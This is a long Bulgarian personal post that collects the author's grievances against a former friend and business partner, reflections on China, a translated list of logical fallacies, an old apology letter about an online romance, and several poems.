А да не говорим, че никога не си ме имал за човек, който трябва да защитиш: някакъв се звери, че съм писал, че е по-добре в Китай, а не в България, ти вместо да ме защитиш поне малко зад гърба ми ме говориш с него, че съм бил малко откачен, само и само да се измъкнеш от несправедливите му атаки! Други безпричинно обиждат мене, жената и китайците - вместо да ме защитиш, ти се правиш пред Н., че вече не си ми приятел, а мене ме молиш "от егоистично-страхлива гледна точка" (ПРЕКРАСНО ОПИСАНИЕ, ВСЪЩНОСТ КАКВО ПРЕДСТАВЛЯВАШ ОТВЪТРЕ!) да не съм се занимавал с тях и да понасям униженията и даже с цялата си безчовечност казваш, че си си мислел, че аз не съм наред, защото съм ги бил ядосал аз!!!!!
Така че, когато съм имал нужда от помощ в трудни моменти с хора - по-често съм получавал едно неприятелско и нечовешко отношение, да не говорим за приятелско. И аз съм търпял, търпял и прощавал само в името на бизнеса. Вече няма бизнес, няма смисъл да търпя и да прощавам цялото това унижение.
10. Не ми харесва установката, с която често ме режеш, когато обсъждаме даден проблем "да се оправят!". Особено на фона, че повечето, за които става дума са доста по-оправени от тебе, а и това само показва един ЕГОЦЕНТРИЗЪМ и не само необръщане на внимание на тези, за които става дума, но и на мен, който съм поставил въпроса, и съм очаквал обсъждане/разбиране, а не "да се оправят" или даже "да се оправят, бе!".
11. Клонящо към расизъм и шовинизъм поведение - от една страна уважаваш и желаеш някоя/някои само, защото са китайки/виетнамки, а от друга, ако те разочарова САМО ЕДИН представител на въпросната раса/народ, решаваш да разкараш всички останали!!!
12. Изключително дразнещи призиви към "оптимистичен поглед" на нещата, при положение, че аз съм реалист и не мога олигофренски да се радвам, ако нещо не е наред и обратното. Много добре си преценявам кое какво е и доколко може да стане, за да се самозаблуждавам с НЕнаучни книжки, че като си самовнушаваш, че всичко е наред и "привличаш позитивни енергии, полета" (и друга недоказана, лъжлива каша). Спомням си как ми загуби време, когато писах, че мобифонът е повреден и ще купуваме нов да ми обясняваш, че правилния оптимистичен вариант бил да си кажа "К. може да ми го оправи" и като ти обясних, че ми е минала вече тази мисъл през главата, ти каза, че нямало как да го поправиш, т. е. аз правилно реалистично съм преценил, че ще се купува нов мобифон и няма нужда да си въобразявам невъзможни неща като това, че К. ще ми го поправи.
13. Каза, че стане ли нещо пак да намразиш Китай (досега вече 2 пъти се случва заради ОТДЕЛНИ персони с китайски произход), ще ни отсвириш всичките тука. По същия механизъм по който "Т. и Ю. са от Плевен", значи "целият Плевен е зле"... ама чакай, аз забравих, че то, за теб, БЪЛГАРИТЕ по принцип за зле и няма добри хора.
14. Много се чудих преди защо ми плащаш домейн и ми даваш безплатен хостинг, та даже и някакви съвети ми даваше за повече тагове и да не спирам домейна... викам си "Брей, каква загриженост за мен, за мислите ми, за гледните ми точки!", но след като ми наложи ограничения да пиша каквото си искам за Уикипедия или да отговарям на НЕПОВИКАНАТА АГРЕСИЯ у други ми светна лампичката, че нещата май не са правят за мен. След време като овладях знанието за приходите от сайтве напълно ми се изясни първоначалния ти замисъл - да плащаш малко за домейн, НО да получиш много от реклами, когато моите писаници привлекат много посетители. УВИ, НЕ ръгнах да пиша като ненормален и не СЕ ПОЛУЧИ!
Б) Неща, които ме разстроиха напоследък
1. Каза, че си искаш 300 юана, макар, че даже 400 не ти поискахме. Т. е. ние влезнахме в положение, че даже и да си обещал може да стигнеш до глад и ти оставихме 400, а ти се заяде с 300. Накрая даже и ти пратихме колкото бяха останали!
2. Точно сега намери да спреш бартера за някакви си 20-30 юана, които както видя така и не получи, а даже изгуби всичко останало - малки заеми от 70 евро до 1500 юана и приятелство с нас (2-ма човека).
3. Призна си, че още преди си планувал да спреш с мен, защото видиш ли съм поставил въпроса защо парите ми закъснели 3 дена, а не отчете, че аз толкова компромиси направих - от предварително заплащане минах на заплащане при свършена работа, а после даже на заплащане със седмици след свършената работа.
Само този коварен план, според жената, сам по себе си, е достатъчно човек да се пази от бизнеси с тебе, както и да спре всякакви отношения, да не говорим за приятелство!
4. Не си призна НИТО ЕДИН симптом, а сам си се оплаквал от редица от тези симптоми под различна форма и феноменология. С тенденция си всичко да рационализираш/отричаш/скотомизираш и все се изкарваш прав с разни еквилибристики като "обстоятелствата", "реалността", "образно изказване", "разбираш ме буквално", "нещата се промениха". Направо се плаша от такъв човек аз, камо ли да ми е приятел!
5. Проявяваш тенденция с всеки, в който стъпиш в бизнес отношения или някакви отношения на съвместна работа/сътрудничество, да си разваляш приятелствата/отношенията с тях:
- предните ти началници
- Т.
- Ю.
- М. (в начална фаза, заради това, че решил да си легне по-рано)
- Л.
- Ч. (така беше един от прякорите на баща ти, както го беше измислил)
- Баба си
- нас
Може и да има други за които не знам. Сещам се за индийците, че и тях не ги хареса и ми препоръчваше да не работя с тях. За циганите - даже да не го споменавам - окрадоха те с 1 брадва и 10 лева.
6. Казваш, че съжаляваш, че си ми споделял и това само, защото ти давам примери, с които исках да ти помогна да станеш по-добре или просто заедно да видим Истината. (Знаеш, че Истината се уважава даже от твоя Патрон - Исусът!)... Не искам приятелство с човек, който ще спре да ми споделя.
7. Казваш, че ще си мериш приказките оттук-насетне. Но аз не искам човек, който играе театър с мене. В същото време и аз не искам да не мога да си казвам какво ме вълнува и какво мисля, само защото ще се оцени като "гадости", "непозитивно", "съсипващо", "СПАМ"(!!!) и пр., акцентирайки само на такива моменти и неспособност да видиш позитивите, да си ми благодарен за информациите, да навлизаш по-всестранно и дълбоко в проблемите на Китай, както правя аз.
8. Били сме в чужда д-ва. Да, ама за мене това си е СВОЯ/МОЯ д-ва. Аз чужденец и отритнат съм се чувствал само, когато съм бил в България и в Либия. В Китай си се чувствам, все едно, че тука съм роден и принадлежа тука по рождение.
9. След толкова много успешни мои съвети, прогнози и мнения, ти все още си мислиш, че аз не разбирам нещата, даже даваш неправилни примери, че не можело разведен човек да разбира от жени (все едно да не може генерал, който е отстъпил тактически в една битка, да разбира от военно дело)...
10. Отсече, че смяташ, че повече нямало да има бизнес с нас. Ами то тогава какво остава?! (Само това аз/ние да ти помагаме, когато ти имаш нужда? Ама НЕ става така.)
НЕСИГУРЕН СИ В КАЧЕСТВОТО СИ НА "БИЗНЕС-СРЕДА" (партньор) - например КАТО ГРЪМ ОТ ЯСНО НЕБЕ ПРОМЕНЯШ УСЛОВИЯ КАТО ТОВА: "И оттук нататък въвеждам изричното правило/условие, че плащанията се правят не по-рано от месец СЛЕД получаване на свършената работа. " (цитат от твой имейл)... Отделно и това, че ако нещо работи като условие дълго време казваш, че "лошо си ме научил", т. е. тръгваш срещу самия себе си, когато ти скимне и тези, които са зависими (както аз се бях поставил в зависимост) духат супата, защото са последното звено/подчиненото.
11. Грешка било казваш. Ами даже и да е така (условно), то ти я породи тая грешка - можеше да не спираш бартера, да не си искаш някакви 300 юана и да не ме режеш напоследък толкова много като ти споделя нещо или ти дам някой съвет, но не би! Простичко казано - аз някой като спре да ми дава работа/пари, като спре да ме слуша и като почне много да ме критикува за дребни неща от рода на това, че съм му дал съвет или, че съм му дал новини - направо го пращам в 9-та глуха и не ща да чувам за него! А ти още толкова много прегрешения имаш към мене, че вече всичко се натрупа и преля чашата или както ти казваш за Л. - мина всякакви граници!
12. ВЪОБЩЕ НЕ отговаряш даже на най-елементарни стандарти за приятел (да отделя поне няколко минути за тебе поне срещу пари, ако отделя за момичета часове за без пари; да ти чете всичко, което му пишеш/пращаш; да не страни от тебе, когато стане малко по-напечено), да не говорим за моите, които са по-високи от средното.
Тъй че - никакви повече отношения. С теб нито може да се споделя двустранно, нито може да се прави бизнес, нито може човек да се отпусне и да си говори каквото му е на сърцето в момента... В същото време ти предлагаш някакво измислено приятелство, което ще е даже по-зле от престорените ти отношения с Ч., които демонстрираш в мейлите към него... Къде е смисълът?! Изпарил се е отдавна. Всякакъв по-нататъшен контакт би бил загуба от най-чист вид - дето пееха Ен-синк едно време: "Just give me one good reason!...") Не виждам никаква причина да продължавам с теб, а освен това ме плашиш с това, че се имаш за абсолютно нормален и за сигурно толкова абсолютно прав. Ти може да виждаш някакъв смисъл да продължаваш с мен, т. е. да ме ползваш за това и онова, когато ти потрябвам, а през останалото време само вицове да сме си пращали и да имитираме приятелство, но мен това не ми трябва. За мен ти си достигнал ПРЕДЕЛА НА СВОЯТА ПОЛЕЗНОСТ отдавна, та повече не виждам да си ми полезен, а само безполезен и/или вреден (това от прагматична гледна точка; що се отнася до морално-етичната - мисля, че не ме заслужаваш).
====
Правя пояснение, че като става дума за Китай, говоря за онзи преди. Сега вече, към днешна дата, държавата се е превърнала почти в империя (т. е. с едновластен лидер, нещо като император), все повече проблеми - от ксенофобия (на ниво закони и политика) до все по-ограничени политически и икономически свободи, репресиране и подтискане на протестиращите, икономически проблеми и пр., затова вече не желая да съм китайски гражданин. Обичам Китай, но не мога да приема сегашното политико-културно-икономическо положение, затова се ориентирах към напускане.
-
По-горе бях споменал за българските паспорти. Ставаше дума да се подкрепи нещо от този сорт, което беше писано преди време: "За хората с българско гражданство извън България и извън ЕС често не е лесно да подновят своите международни паспорти, когато дойде време за това, защото в държавите, където пребивават няма български посолства и консулства, или ако има, то се случва да са на десетки, стотици и дори на хиляди километри от местата, където живеят нашите сънародници. Същият проблем може да сполети и всеки един от вас - настоящите и бъдещите български емигранти, гурбетчии, туристи, на които им се налага смяна на българския паспорт. В други държави по света смяната става на всеки 10 години, а според българските закони - само на всеки 5 години.
Нека всички, които искат да си спестим пари, време, стрес и нерви, да подкрепят предложението и да помогнат по всякакъв законен начин, какъвто имат за приемане на закон за удължаване на периода за смяна на чуждестранните български паспорти от 5 поне на 10 години!"
-
Някаква "литературно-логическа творба" от 2007-ма година:
"1. Argumentum ad Hominem – спекулация на “отравяне” на източниците: тази логическа злоупотреба се прави (използва), когато се десакредитира (представя се за недостверен) съответен извор на информация преди още да са се проучили основанията и фактите, които го потвърждават.
2. Спекулация на симплизма (свеждане до): Логическа злоупотреба допускана, когато сложно се представя опростенчески и свеждайки го до “това, не е повече от...”. По този начин се набляга на естеството на ограничена част от феномена, вместо да се разглежда той в цялост.
3. Argumentum ad Verecundiam. Спекулация на злоупотреба с авторитета: се допуска, когато се използва нечие компетентно мнение, за да се докаже нещо не влизащо в компетенцията на използвания авторитет (т.е. предполага се, че компетентното мнение е... безпогрешно /и в други области/)
4. Falacia Argumentum ad Populum (позната също като злоупотреба с “демокрацията”). При нея се злоупотребява с чувствата на аудиторията (публиката) или се казва на слушателите това, което биха искали да чуят.
5. Спекулация на злоупотреба с емоциите: допускана (или използвана) при употреба на думи и характеристики, с цел да се предизвика емоционална неяснота спрямо разглежданата тема и да се затрудни непосредственото разсъждение над нея.
6. Спекулация на хронологическата самонадеяност:
Отхвърля се нещо, представяйки го като остаряло и поради това невалидно (позната също като Argumentum ab Annis).
7. Спекулация на тенденциозния агрумент: логическа злоупотреба, при която се “драматизира” материала про собствената кауза, игнорирайки напълно или подценявайки аргументите на отсрещната страна.
8. Falacia Post Hoc Ergo Propter Hoc.
Логическа грешка при която се стига до заключение, че нещо е причина за друго, само защото първото е по-напред във времето.
9. Спекулация на подтвърждаване на следствието: логическа грешка, при която се потвърждава причината (непозната) чрез следствието (познато), при все, че е възможно да съществува разнообразие от причини (в процес на изследване), водещи до познатото следствие.
10. Falacia Argumentum ad Ignorantiam.
Логическа грешка, допускана, когато се разсъждава, че ако дадена позиция не може да бъде доказана, обратната е задължително правилната, при все че е възможно да съществуват повече от две възможни становища, при липсата на независимо доказуеми факти.
11. Спекулация с произхода: логическа грешка състояща се в претенцията нещо да е “просто” или “нищо повече от” генезиса си (произхода) или когато се подценява нещо, заради скромния си произход.
12. Спекулация на злоупотреба с аналогията: грешка състояща се в предполагането, без никакво обяснение, нито доказателство; че действащите в дадена ситуация закони са приложими и в други ситуации, както когато се обърква описателното естество на природните закони с прескриптивната същност на социалните закони (които движат социалното поведение).
13. Falacia... Petitio Principii.
Логическа грешка, допускана когато се предполага като вече доказано, това което трябва да се докаже, често изказано с други термини и перефрази.
14. Спекулацията на кръговия аргумент: логическа грешка, сходна с предишната, но обособена поради наличието на множество елементи (най-малко два). А е доказателство на Б и Б е доказателство на А (примера с рибата, която се самоизяжда откъм опашката).
15. Falacia Argumentum ad Baculum. Логическа грешка, състояща се в употребата на сила или интимидиране, вместо разсъждения и аргументиране (куршуми, вместо диалог, власт, пред убедителност; гласуване, вместо изследване).
Извинявам се за лошия и "бърз" превод - ако някой има време и търпение, моля да го редактира!
Надявам се да Ви е от полза!"
-
Ето едно от 2007 (или 2006? Не си спомням точно.): "Първо да не забравя да помоля най-любезно всички, които смятат, че всеки защитник на Китай тука съм аз, да се прегледат при районния чичо доктор-психиатър. ОТДЕЛНО всеки (по-скоро - всяка), който се е опитвал да ме обижда, ще помоля още по-учтиво да върви на п@тката си майна, или алтернативно, да се @бе в г@злето! СПЕЦИАЛНО ЗА БЪРЗАТА_КУЧКА: радвам се, че на фона на останалите се държи нормално, но, ако иска РЕАЛНО ДА ИЗВАДИ НОЖА, за да й кажа някои просто неща от рода на ДАЛИ КИТАЙ НЯМАЛ СОБСТВЕНИ САМОЛЕТИ, ДАЛИ КИТАЙЦИТЕ НЯМАЛИ ШКАФЧЕТА И КОЛКО РЕАЛНО СТРУВА ИНТЕРНЕТА, ОХРАНАТА НА ВХОДА И ПР. В КИТАЙ (а не цените, на които ги пържат китайците взползвайки се от това, че семейството й си няма хабер от цени, както случая с прословутите половин кило череши за 200 юана (представете си!!!) в района на Шанхай, НЕКА да ме намери във форума, на който съм аз модератор: china-corner.com Това важи за всеки, който иска да спори РЕАЛНО, а не да се възползва от шибаната системичка тука, в която СПРЯХ НАЙ-МАЛКО ДА СЕ СЪМНЯВАМ, ЧЕ СЕ УПРАВЛЯВА ОТ МРЪСНИЦИ, ПРОЧИТАЙКИ МАТЕРИАЛА ОТ ВЕСТНИК 'БУДИЛНИК": ... "
Беше писано във форум, който май вече не съществува, адресирано до няколкото лоши човека, които се подвизаваха там. А относно Китай - днешният, все повече императоризиращ се, не е онзи, който съм защищавал от сърце през 2006-2007 година и преди това, както и по-късно, до 2017 г. почти.
-
Това е от 2006. Кофти история заради момиче, което не беше честно с гаджето си, та трябваше да се стига до разправии, а можеше да си ги спестим.
бях решил, че те игнорирам тотално, но ще се прежаля още един път...
махни се от живота ни. ти нямаш нищо общо с Нас и нямаш право да се месиш. ти си натрапник. лицемерен и двуличен при това. махни се от живота ни. окончателно и завинаги.
МАААААААЛКО не си наясно с нещата, но СЕ РАДВАМ, че се включи, за да разбереш нещо, което ти се полага:
(По-нататък ще пиша без всякакви обиди и заяжданки , с най-иксрен и добър тон, затова прочети го внимателно, моля те!)
1. НЕ СЕ гордея с това, което направих, НО ИМАХ ЛИ ДРУГ ИЗБОР?
а/ Намерих я от форума на ДАОБГ (М.), хареса ми на снимката, която ти си правил (какво да те правя като си майстор :D , не те четкам, харесвам фотографиите ти!!!) И МИ ХАРЕСА ТОВА, ЧЕ ПИШЕ СТИХОВЕ. "Заговорих я" и, О ЧУДО, тя ме удостои с вниманието си!
(Това преди повече от година, може би!)
б/ ТЯ НЕ МИ КАЗА, ЧЕ СИ ИМА ГАДЖЕ !!! (Нямах ли право да знам???)
в/ В един момент видях, че много се подмазва на Б. (С.) и си помислих, че ходи с него!
КАЗАХ Й - ДО ТУКА БЯХМЕ!!! Не искам да ти се меся в живота! И знаеш ли какво последва, И.??? НЯКОЛКО И-МЕЙЛА ОТ НЕЙНА ССТРАНА, КЪДЕТО МИ СЕ КАРАШЕ, ЧЕ Я ИЗОСТАВЯМ!!! Накрая ме върна при себе си със...СЪЛЗИ!
г/ ДА ПУКНА НА МЯСТО, като преди това изпитам болките от рака, който покоси майка ми, АКО И ЗА МИГ МОГА ДА ТЕ ИЗЛЪЖА С НЕЩО ТОЧНО ПЪК ЗА ТОВА, КОЕТО ЩЕ ТИ КАЖА ТУК:
След като решихме да не си късаме отношенията аз останах дълго мълчалив и резервиран към нея. Заговореше ли ме, аз "имах работа".
Не вярвах, че не ходи със С., а после, от друг източник разбрах, че не ходи с него, НО НАИСТИНА СИ ИМА НЯКОЙ (който не знаех, че си ти!!!) и това беше достатъчно, все пак, ДА СЪМ "ЗАЕТ".
Да но... една вечер започна да ме заговаря прекалено дълго. Отговарях й с тривиални изречения, докато не ми каза, че ИСКАЛА ДА ТАНЦУВА, ДА ИЗРАЗИ СЕБЕ СИ С ТАНЦ, НО ДОСЕГА НЕ НАМИРАЛА ВЕРНИЯ ПАРТНЬОР :shock:
СЛЕД ТОВА МЕ ЗАСИПА С "ЕРОТИЧНИ" СНИМКИ ОТ "Мръсни танци".
Показах й любимата си картинка от корейски комикс - момче и момиче на люлка, която бях ъплоуднал в твоя форум, а тя ми рече:
"ЕХ, ИСКАМ ДА МОГА ДА РИСУВАМ ЧУВСТВАТА СИ ТАКА!"
След всичко това, колкото и да е гадно и да не се гордея с него, особено пред тебе пишейки сега... просто усетих, че ОМЕКНАХ и, че въобще не съм железният татарин, какъвто БИ ТРЯВАЛО да бъда!
ПОСЛЕДВАХА МНОГО ЧАТОВЕ ИЗПЪЛНЕНИ С РОМАНТИКА:
- разменяхме си песни, които слушахме едновременно.
- разказвахме си приказки, които пишехме във фантазиите си.
- показвахме си снимки на бели рози и неща, които харесваме.
- тя ми пишеше на китайски, аз й пишех на испански. Даже взе да учи китайски, но ти й забрани да си чати с мене и уроците секнаха.
- на няколко пъти правихме и виртуален...
СТИГА!... Разбра ме какво казвам! И В ЕДИН МОМЕНТ, КОГАТО ВЕЧЕ БЯХ ЗАТЪНАЛ В ЧУВСТВА С НЕЯ (съгласи се, че не всеки ден се срещат момичета като нея) се появи и ти с въпроса си - "КАКВИ СА ВИ ОТНОШЕНИЯТА С М.?"
Отначало се сепнах и не исках да си представям, че това е "моята М." и затова те попитах (със слаба надежда, а и да "спечеля" малко време за "подходящ" отговор) - "Коя М.? М. Минкова ли?"
И, КОГАТО ПОЛУЧИХ УТВЪРДИТЕЛНИЯ ТИ ОТГОВОР, ПРОСТО МЕ ПОЛЯ СТУДЕНИЯ ДУШ, както се казва.
Нямах друг избор, освен да те успокоя, НАЛИ? НЕ ИСКАМ ДА КАЗВАМ, ЧЕ НЕ ТЕ ИЗЛЪГАХ - да лъжа беше, но С ЦЕЛ ДА Е ВСИЧКО О.К.! Освен това си казах, че ДОНЯКЪДЕ Е ИСТИНА - какви отношения може да имаме ние, при положение, че сме на над 5 000 километра разстояние?!?!?!?!?!?!!?!? Може сърцата ни да са били едновременно заради някакви думи, музики или картини, но...всичко е само виртуално. Човече, аз очите освен на снимките, които ми е дала - от салона за прически и от морето, на друго място не съм й ги виждал, да не говорим, че не съм я пипал и пр. Т. Е. НЕ МОЖЕ ДА СЕ КАЖЕ, ЧЕ ТИ Е ИЗНЕВЕРЯВАЛА, МАКАР ЧЕ, ДА, ИМАШ ПРАВО ДА СИ ЯДОСАН И ДА ИСКАШ ДА УМРА, това не го отричам и за миг!
И така, след като направих така "И вълкът сит, и агнето цяло" - ВЕДНАГА Й КАЗАХ - "Ами днес така и така, твоят човек ме намери, вложих целия си арсенал от техники за убеждения и енергия да го успокоя, но ти защо не ми каза, че е той? Нямах ли право да знам?! Все пак може да не сме първи приятели, но сме се знаели задочно толкова време, а и сега..."
Тя го прие като все едно, че нищо особено не е станало.
После й казвах:
"Маги, той чете ли Зоологията? Дай поне там да не го ядосваме, щото той ти е реалният приятел и първият, аз просто не мога , а и не искам да създавам проблеми!"
"Абе четеше по едно време..."
"Ами добре де, дай тогава да изхождаме от презумпцията, че чете!"
Но...тя не изходи от нея.
"Има ли някакъв шанс да ти чете АЙСИКЮТО? Не си рискувай отношенията с него, ако може?"
"АБЕ, ТОЙ ДНЕС СЕ ОПИТА, АМА АЗ НЕ МУ ДАДОХ И СЕ СКАРАХМЕ! НЕ ИСКАМ ДА ТИ ЧЕТЕ СЪОБЩЕНИЯТА!"
"Ами добре тогава бе, преименувай ме, изчисти ме от списъка на приятелите си! Не го дразни!!!"
"НЕ ИСКАМ!!! НЕ ИСКАМ ДА СЕ КРИЯ! ПРОСТО, АКО ПАК ВИДИ, ПАК НЯМА ДА МУ ДАМ И ТАКА, ТОЙ НЕ МИ Е ГОСПОДАР!"
................
:(
И така, задълбавайки все повече и повече в чувства, КОЛКОТО И ДА МИ БЕШЕ КОФТИ (а и на нея, признавам, в моментите, когато не те мразеше, че си й правил поредния проблем) СЕ ОТДАДОХ САМО НА ПРЕКРАСНИТЕ НОЩИ И СУТРИНИ С НЕЯ. Случваше се да си чатим до 10-11 часа време...НЕ МОЖЕХ ДА СЕ ПОЗНАЯ! Не ме питай как съм ходил на работа само с 1-2 часа сън!...
НАКРАЯ,...тя ми казваше 2 противоположни неща. Държеше се, както се казва във психологията - АМБИВАЛЕНТНО:
- Не, не е той (ТИ) човекът на живота ми (Това в отговор на въпроса за тебе ли ще се омъжи!)
- Ето, виж какво си чатихме току-що (ПОКАЗА МИ КАК СИ Й ОТКАЗАЛ ДА ХОДИШ НА СЕЛО И КОЛКО Й Е КОФТИ ЗАРАДИ ТОВА, ЧЕ Я ПРЕНЕБРЕГВАШ ПО ТОЗИ НАЧИН!)
- Струва ми се, че вече не ме обича каквто в началото. Днес ми се радва, понеже е за първи ден, после ще бъде същото.
- Може и да е лош, но съм си прекарала толкова време от живота си с него, обичам го. Не знам защо, но го обичам!!!...
- Не искам да го боли, но той много ме ревнува - че излизам с един приятел над 6 часа, че ходя сама на гости на съседа си, че съм се хвърлила на врата на едно момче от радост... А сега ме ревнува и от тебе. Казва ми, че си "педал" и какво ли не... Аз не съм съгласна и му възразих, че...
ХАЙДЕ ДА НЕ ЦИТИРАМ ВСИЧКО (ако ти наистина имаш достъп до паролите й САМ ВИЖ ХИСТЪРИТО на чатовете ни, ако не го е изтрила и ще видиш, че не те лъжа!!!).
Накрая тя се уплаши от тебе и реши да не си чатим повече.Аз съм последния човек, на който ще повярваш, но ти давам клетвата си, че съм я изтрил от списъка си и, че даже, КАКТО ВИЖДАШ по форума вече избягвам да отговарям след нея и ще се намеся само, ако вземе нещо да ми се "дърви"!
ОБАЧЕ дай си сметка, че, ако не беше я хванал с паролите (за което ЕВАЛЛА :twisted: , нека да й е за урок за наивността!) и досега чатовете ни щяха да продължават!
ЗАЩО ТИ КАЗВАМ ВСИЧКО ТОВА???
- За да знаеш, че:
а/ Не аз съм виновен само, но и тя, защото почти винаги първа ме е провокирала (умишлено ти спестявам някои по-интимни моменти, защото не искам да те вбесявам и да ти правя психо-атаки, но съм ти казал НАЙ-ГЛАВНИТЕ НЕЩА!)
б/ Не ми каза веднага, че си има гадже и никак не се погрижи да ми каже, че това е Дарк С. (отначало не знаех, че си "И.").
в/ У мене намира това, което ти не си й дал (казвам ти го като добро предложение) - романтика, поезия, цветя, хумор,... Ако й даваш повече от тези неща, СМЯТАМ че не би имала потребност от мене или от другите, с които излиза, ходи им на гости и пр. и те прави да ревнуваш неистово!
г/ Ако не я беше хванал, нямаше да спре да ми пише. Даже ти беше казала, че и иде да се самоубие, да се хвърли отнякъде, а ти й написа: "АБЕ КАК МОЖЕ ДА ТИ ПУКА ТОЛКОВА ЗА ТОЗИ ПЕДАЛ???" :lol: :lol: :lol: (Признавам си, че това беше единственото нещо, което ме накара да се усмихна в сълзите си тогава, защото мисля, че и аз бих казал така, ако бях на твое място!)...
И така - ЗАКЛЮЧЕНИЕ:
- Не се гордея с това, което стана. Опитвах се да постъпвам "И вълкът сит, и агнето цяло", но явно не ни е писано така...
- Ако съм груб с тебе, ТО НЕ Е ОТ НАГЛОСТ (много добре си знам в случая, че ти си "МОРАЛНИЯТ ПОБЕДИТЕЛ", не само "ФИЗИЧЕСКИЯТ" и "ПСИХОЛОГИЧЕСКИЯТ"), а просто защото си имам някакво достойнство и не мога да те оставя да ме правиш на 2 пари пред хората по различни причини.
- С нея вече не си пишем. Ако те интересува ще ти кажа, че ми беше много трудно първите няколко часа. Не можех да склопя очи, но после се "окопитих" и й писах, че ще се срещнем с нея ЧАК в някой друг живот.
И ЗАТОВА ти казах, че съм изчезнал от живота ви. Мъртъв съм за нея, а и тя за мен е мъртва! Повярвай ми, вече само я мразя! И не искам да чувам глупави клишета от рода на това, че "Омразата била другата страна на любовта!".
Така че, от този форум докато не ме махнат, аз няма да се махна, но, както виждаш - нито с тебе си чатя по кю-то, нито с любимата ти - М. (което беше и идеята), нито пък на същата й отговарям на постингите, ако някой друг не е писал преди това.
Не мога да ти кажа, че те обичам, може би доста те ненавиждам за това, че си я тормозил, затова, че си толкова бесен и пр., НО ЗНАМ, ЧЕ НЕ СЪМ ПРАВ... ПРОСТО Е ПО-СИЛНО ОТ МЕНЕ, И.! Ако можех НАПЪЛНО ДА КОНТРОЛИРАМ ЕМОЦИОНАЛНОСТТА СИ, сигурно щях да съм РОБОТ!... Но това няма значение, понеже и ти резонно не ме обичаш. Така че, въпреки емоционалността си, разумът ме подтикна да не отговарям на тона ти и да ти напиша добронамерено кое как е, за да може занапред НИТО ТИ, НИТО АЗ да допускаме подобни грешки.
Сигурно ти е през кура, ама да ти го кажа - АЗ ЗА МЕН РЕШИХ ТВЪРДО - никакви чатове вече НИКОГА с обвързани момичета, колкото и да ми пускат сълзи и пр. елементарни психологически прояви!
Вчера си чатех с една приятелка и тя ме пита - "Ако можеш да върнеш времето назад, би ли нааправил същото?" Аз й казах, че биха ми липсвали неповторимо романтичните чатове, но бих ги прежалил, за да си спестя срама и неприятностите, които имам сега с теб и пред теб!
Ако бях самурай щях да си разпоря корема, но съм просто един лош татарин, който ти се покланя в знак на съжаление!
Sorry, ако нещо звучи много натруфено или предвзето, просто написах какво чувствам. Затова и искам да напиша разказ, защото всичко това трябва да се "изплаче"!
___________
благодаря ти за отговора. сериозно.
оттук насетне каквото и да стане, няма да съм аз причина за това.
и ще те помоля нещо - когато ме засечеш в някой форум, просто избягвай да разбера, че си ти. аз ще се придържам към същото.
иначе ще е bringin' back memories.
сбогом.
Знаеш ли, поотказал съм форумите - модерирам в един от много отговорните китайски, а тук ще си пиша, понеже много хора държат на мене и се чувствам добре. Най-много да пропиша в някой философски форум занапред, че на времена гледам да си правя update по специалността иначе, помни го от мене, не само мускулите, но и знанието може да атрофира не го ли упражняваш (примерно арабския го знаех почти перфектно, ама не ме влече, не го поддържам и като написа, че са те приели Арабистика, едвам си спомних няколкото думи, които ти написах, за да ти дам пример за фонетиката на това семитско чудо :D ).
Разбира се, молбата ти се приема от раз - ако наистина се засечем във форум, няма да се афиширам, а тука се надявам да си се караме, подкрепяме, заяждаме и пр. според случая без цинизми, щото каквото и да си говорим, поне не сме от най-тъпите с тебе и сме го доказали даже и в най-кризисните си отношения. :)
Още един път - благодарен съм на Бога, ако го има (сори, че звуча като рептилията (Бронтозавъра)!!!), че я хвана и ни изобличи, защото, наистина, това нямаше да стигне до никакъв добър край!
Още един път - ако можех да връщам времето назад, нямаше да я погледна.
Още един път - да ми простиш НЯМА, а и НЕ ТРЯБВА да те моля, но мога да ти кажа, че:
а/ СЕ ИЗВИНЯВАМ
б/ СЪЖАЛЯВАМ
за станалото!
(Надявам се, че разбираш искреността ми и разкаянието ми, което е само от проговорило чувство за морал, а не, че ме е страх, че ей-сега ще прекосиш огромното разстояние до острова ни и ще ме помелиш :lol: . )
Аз на М. съм й рекъл "СБОГОМ!" и на тебе го казвам, но, все пак, ако за някаква малка компенсация на голимите нерви, които ти вкарахме последните месеци, мога да съм полезен с някакво инфо, знание и пр., можеш да ми пишеш винаги. Ако знам - бих ти казал/помогнал/посъветвал с добро сърце. Просто го имай предвид и се чувствай свободен да ми пишеш когато и за каквото поискаш!
С извинение и респект!"
За съжаление, по-сетне дочух от друга обща позната, че човекът пак се е изказал с обида по мой адрес, та явно не ме оценил, но той тогава беше почти тийнейджър. Може вече да се е променил, ако е жив и здрав, и до досега. Нямам намерение да му желая лошото. Основната грешка си беше на М. (гаджето му).
-
Нередактирано стихотворение:
"В природата по странни обстоятелства
Нещата не вървят така добре
При нас, пък, с вечни неприятелства
Животът ни линее все и мре.
Умира някаква възможност
Като цветче поръсено от град
А ние в свойта невъзможност
Не сещаме светът така богат.
И всичко в универумът се движи
Пропада, ражда се, живей
И нашите сърца се нижат
като мънисто на безкраен епопей."
И в редактирания му, подобрен вид: http://www.seo-forum-seo-luntan.com/other-languages/oe-ot-ee-ktae/msg19546/#msg19546 (http://www.seo-forum-seo-luntan.com/other-languages/oe-ot-ee-ktae/msg19546/#msg19546).
-
Пример от чата ни с въпросната М., за която ставаше дума по-горе:
(От 2006 г.) "И аз се надявах да се видим преди да заминеш, чаках те, но ти не се появи. Сега навярно пътуваш вече. А аз си мисля за теб.
Намерих това, искам да ти го покажа, да ти го подаря, да ти го пожелая:
magiata.com/youare.html
Днес отново говорих с Мария. Не знам по ирония на съдбата ли или умишлено, но и тя ми каза нещо, което по-рано ми написа ти - "Обожавам да танцувам...досега никога не съм намерила момчето, с което да усетя истински един танц!" Аз само й казах, че сигурно се срамуват момчетата и до там беше. Маги, докато има и 1 % или дори 0,01% вероятност да се видим, моят танц ще бъде запазен само за теб! Без значние дали ще е на скалите пред океана или на безкрайната зелена ливада с бягащи наоколо бели коне!
Ето и това стихче, което ми дойде на ум:
Да попитам не стигаше време
Да поискам, уви не можах,
Да направя - не беше за мене
Да избягам дори не посмях!
Ти поиска ме - аз ти се дадох.
Ти отхвърли ме - аз онемях.
После върна ме и се отдадох
На любов, сълзи, шепот и смях.
____________
А, когато си мисля, че си на море без мен, искам да ти кажа това, както и да чуем заедно тази песен някой ден:
So we gotta say goodbye for the summer
darling I promise you this
I'll send you all my love
every day in a letter
Sealed with a kiss
Yes it's gonna be a cold, lonely summer
but I feel the emptyness
I'll send you all my dreams
every day in a letter
sealed with a kiss
I'll see you in the sunlight
I'll hear your voice everywhere
